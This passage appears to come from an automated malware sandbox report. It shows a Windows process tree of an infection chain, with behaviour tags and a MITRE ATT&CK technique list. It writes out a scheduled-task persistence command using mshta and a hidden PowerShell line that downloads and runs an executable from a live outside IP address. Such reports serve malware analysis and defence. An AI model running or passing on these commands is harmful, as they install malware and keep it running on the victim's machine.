        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5116 -childID 3 -isForBrowser -prefsHandle 5148 -prefMapHandle 5144 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8d469a82-ad18-4b85-a4d9-bef4bb2ee6e5} 2128 "\\.\pipe\gecko-crash-server-pipe.2128" tab
        8⤵
        
        PID:6864
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5216 -childID 4 -isForBrowser -prefsHandle 5312 -prefMapHandle 5308 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {895231ee-14f0-40bc-a5a2-5b8765126834} 2128 "\\.\pipe\gecko-crash-server-pipe.2128" tab
        8⤵
        
        PID:6876
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5524 -childID 5 -isForBrowser -prefsHandle 5604 -prefMapHandle 5536 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {374fe4b3-f655-4385-9963-ed433c3187ed} 2128 "\\.\pipe\gecko-crash-server-pipe.2128" tab
        8⤵
        
        PID:6888
    - - C:\Users\Admin\AppData\Local\Temp\1091762001\cfc9f158a7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1091762001\cfc9f158a7.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1028
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn UVqwbmaIas3 /tr "mshta C:\Users\Admin\AppData\Local\Temp\F15vjVFpk.hta" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4804
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn UVqwbmaIas3 /tr "mshta C:\Users\Admin\AppData\Local\Temp\F15vjVFpk.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3828
      - C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\F15vjVFpk.hta
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4740
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'CFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2804
        
        C:\Users\Admin\AppData\Local\TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
        
        "C:\Users\Admin\AppData\Local\TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4472
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2T7938.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2T7938.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1592
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3p73z.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3p73z.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:676

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2592

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6072

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion